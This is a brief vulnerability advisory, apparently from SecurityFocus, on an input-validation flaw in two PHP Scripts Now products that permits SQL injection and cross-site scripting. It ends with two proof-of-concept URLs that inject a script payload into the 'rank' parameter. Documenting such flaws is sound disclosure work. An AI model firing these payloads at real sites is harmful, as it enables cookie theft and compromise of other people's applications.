source: http://www.securityfocus.com/bid/44306/info

Multiple PHP Scripts Now products are prone to an input-validation vulnerability that can be exploited to conduct SQL-injection and cross-site scripting attacks.

Exploiting this vulnerability could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following products are affected:

PHP Scripts Now President Bios
PHP Scripts Now World's Tallest Buildings 

http://www.example.com/tallestbuildings/bios.php?rank=%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E
http://www.example.com/presidents/bios.php?rank=%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E